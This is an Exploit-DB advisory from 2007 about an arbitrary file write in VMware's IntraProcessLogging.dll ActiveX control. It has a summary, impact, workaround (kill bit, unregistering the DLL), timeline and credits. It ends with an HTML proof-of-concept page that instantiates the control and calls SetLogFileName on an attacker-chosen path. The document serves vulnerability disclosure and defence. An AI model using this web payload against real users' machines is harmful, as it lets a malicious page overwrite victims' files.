VMware 'IntraProcessLogging.dll' 5.5.3.42958 - Arbitrary Data Write

EDB-ID:

4240


Author:

callAX

Type:

remote


Platform:

Windows

Date:

2007-07-28


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IntraProcessLogging.dll 5.5.3.42958 VmWare Inc Arbitrary Data Write Exploit
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Internal ID: VULWAR200707280.
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Introduction
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IntraProcessLogging.dll is a library included in the Program Vmware from
Vmware Inc. Company.


Tested In
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- Windows XP SP1/SP2 french/english with IE 6.0 / 7.0.


Summary
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The SetLogFileName method doesn't check if it's being called from the
application,
or malicious users. Remote Attacker could craft a html page and overwrite
arbitrary
files in a system.


Impact
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Any computer that uses this Sofware will be exposed to Data Write Arbitrary.


Workaround
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- Activate the Kill bit zero in clsid:AF13B07E-28A1-4CAC-9C9A-EC582E354A24
- Unregister IntraProcessLogging.dll using regsvr32.


Timeline
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July 28 2007 -- Bug Discovery.
July 28 2007 -- Exploit published.


Credits
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 * callAX <callAX@shellcode.com.ar>
 * GoodFellas Security Research Team  <goodfellas.shellcode.com.ar>


Technical Details
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SetLogFileName method receives one argument filename in this format
"c:\path\file".


Proof of Concept
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<HTML>
<BODY>
 <object id=ctrl classid="clsid:{AF13B07E-28A1-4CAC-9C9A-EC582E354A24}"></object>

<SCRIPT>

function Do_it()
 {
   File = "c:\\arbitrary_file.txt"
   ctrl.SetLogFileName(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>

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